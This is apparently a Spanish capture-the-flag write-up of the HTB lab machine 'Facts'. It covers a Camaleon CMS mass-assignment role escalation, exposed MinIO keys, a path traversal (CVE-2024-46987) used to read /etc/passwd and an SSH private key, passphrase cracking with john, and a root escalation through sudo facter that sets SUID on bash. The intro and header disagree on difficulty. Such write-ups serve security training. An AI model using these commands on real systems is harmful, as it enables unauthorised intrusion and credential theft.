
HTB Facts es una máquina Linux fácil que presenta Camaleon CMS y MinIO. Obtén acceso de administrador mediante registro abierto y una vulnerabilidad de asignación masiva, luego extrae credenciales de MinIO desde la configuración de administrador. Usa el path traversal CVE-2024-46987 para robar una clave privada SSH, descifrar su frase de contraseña y escalar a root abusando de los permisos sudo en facter mediante GTFOBins.
Dificultad: Media
SO: Linux
Etiquetas: Web, MinIO, Camaleon CMS, Path Traversal, SSTI, Escalada de Privilegios
Comience con un escaneo completo de puertos TCP para identificar servicios abiertos.
nmap -p- --min-rate 5000 -T4 10.129.244.96
Resultados:
| Puerto | Servicio | Notas |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Nginx 1.26.3 (Ubuntu) |
| 54321 | Desconocido | Identificado como MinIO |
Añada el objetivo a /etc/hosts:
echo "10.129.244.96 facts.htb" >> /etc/hosts
Navegar a http://facts.htb revela un sitio web de trivia construido sobre Camaleon CMS (Ruby on Rails). Indicadores clave:
_factsapp_session (sesión de Rails)/assets/themes/camaleon_first/nginx/1.26.3 (Ubuntu)Enumere el mapa del sitio para todas las páginas disponibles:
curl -s http://facts.htb/sitemap.xml
Rutas notables descubiertas:
/admin → redirige a /admin/login/rss/animal-ejected, /anne-frank, etc.Verifique el panel de inicio de sesión de administrador:
curl -v http://facts.htb/admin
# → 302 redirige a /admin/login
Al sondear el puerto desconocido con curl se revela MinIO, un servicio de almacenamiento de objetos compatible con S3:
curl -v http://facts.htb:54321
Respuesta:
<Error>
<Code>AccessDenied</Code>
<Message>Access Denied.</Message>
</Error>
Las cabeceras confirman: Server: MinIO
Enumere posibles nombres de buckets (todos devuelven 403, confirmando que existen):
for bucket in facts backup uploads media files images data private secret admin internal; do
code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
echo "$bucket: $code"
done
Todos devuelven 403 Forbidden — los buckets existen pero requieren credenciales.
A partir de las rutas de assets y la cookie de sesión, el CMS se identifica como Camaleon CMS.
Verifique vulnerabilidades conocidas:
searchsploit camaleon
Resultados:
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI) | ruby/webapps/51489.txt
La versión del panel de administración se confirma como 2.9.0 (visible en el pie de página después de iniciar sesión).
La página de inicio de sesión de administrador en http://facts.htb/admin/login incluye un enlace "Crear una cuenta". Registre una nueva cuenta:
http://facts.htb/admin/users/sign_uptest123 / test123)ClientDespués del registro, inicie sesión en el panel de administración. La cuenta tiene privilegios limitados de Client.
Camaleon CMS es vulnerable a un ataque de asignación masiva en el endpoint de cambio de contraseña. Al interceptar la solicitud de cambio de contraseña e inyectar un parámetro password[role], un atacante puede escalar su propio rol a admin.
Pasos usando Burp Suite:
Client.Profile → Edit → Change Password.&password[role]=admin al cuerpo de la solicitud:_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
200 OK.La cuenta ahora tiene privilegios de admin, otorgando acceso completo al panel de administración del CMS incluyendo Settings, Media y Filesystem Settings.
Con acceso de administrador, navegue a:
Settings → General Site → Filesystem Settings
La página revela credenciales hardcodeadas de MinIO (compatibles con AWS S3):
AWS S3 Access Key: AKIA59D605615FFC8875
AWS S3 Secret Key: O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name: randomfacts
AWS S3 Region: us-east-1
AWS S3 Endpoint: http://localhost:54321
Configure AWS CLI y enumere los buckets:
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'
aws s3 ls --endpoint-url http://facts.htb:54321
Buckets descubiertos:
2025-09-11 internal
2025-09-11 randomfacts
El bucket internal contiene el directorio home del usuario trivia:
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321
# Descargar la clave privada SSH
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321
Alternativamente, la clave privada SSH se puede recuperar mediante CVE-2024-46987, una vulnerabilidad de path traversal autenticada en Camaleon CMS que permite leer archivos arbitrarios del servidor.
Clone el PoC público:
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987
Lea archivos sensibles:
# Paso 1: Leer /etc/passwd para enumerar usuarios del sistema
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd
Salida (líneas relevantes):
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
Se identifican dos usuarios: trivia y william. Dado que trivia tiene un shell de inicio de sesión y un directorio home, verifique la existencia de una clave privada SSH:
# Paso 2: Leer la clave privada SSH de trivia
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519
Guarde la salida de la clave en un archivo:
chmod 600 id_ed25519
La clave privada SSH está cifrada con una frase de contraseña. Use ssh2john y john para descifrarla:
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
Frase de contraseña descifrada: dragonballz
ssh -i id_ed25519 [email protected]
# Ingrese la frase de contraseña: dragonballz
Recupere la flag de usuario:
cat /home/william/user.txt
Verifique los privilegios sudo para el usuario trivia:
sudo -l
Salida:
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
El usuario puede ejecutar /usr/bin/facter como root sin contraseña. facter es una herramienta de información del sistema basada en Ruby.
Según GTFOBins, facter puede cargar archivos de facts personalizados de Ruby mediante --custom-dir, los cuales se ejecutan como el usuario que invoca (root en este caso).
Exploit:
# Crear directorio de exploit y payload Ruby
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF
# Ejecutar facter como root con el directorio personalizado
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x
# Verificar que el bit SUID esté establecido en bash
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...
# Generar un shell root
/bin/bash -p
whoami
# root
cat /root/root.txt
| Bandera | Ubicación |
|---|---|
| user.txt | /home/william/user.txt |
| root.txt | /root/root.txt |
Escaneo Nmap
↓
Puerto 80: Camaleon CMS 2.9.0
↓
Registrar cuenta Client → Panel de Admin
↓
Asignación masiva: password[role]=admin → Rol Admin
↓
Configuración Admin → Credenciales MinIO Expuestas
↓
CVE-2024-46987: Path Traversal → Leer /home/trivia/.ssh/id_ed25519
↓
ssh2john + John → Frase de contraseña: dragonballz
↓
Inicio de sesión SSH como trivia
↓
sudo facter --custom-dir (GTFOBins) → chmod +s /bin/bash
↓
/bin/bash -p → root
| CVE | Descripción |
|---|---|
| CVE-2024-46987 | Camaleon CMS path traversal autenticado / lectura arbitraria de archivos |
| CVE-2023-30145 | Camaleon CMS v2.7.0 SSTI a través del parámetro formats (no usado en esta máquina) |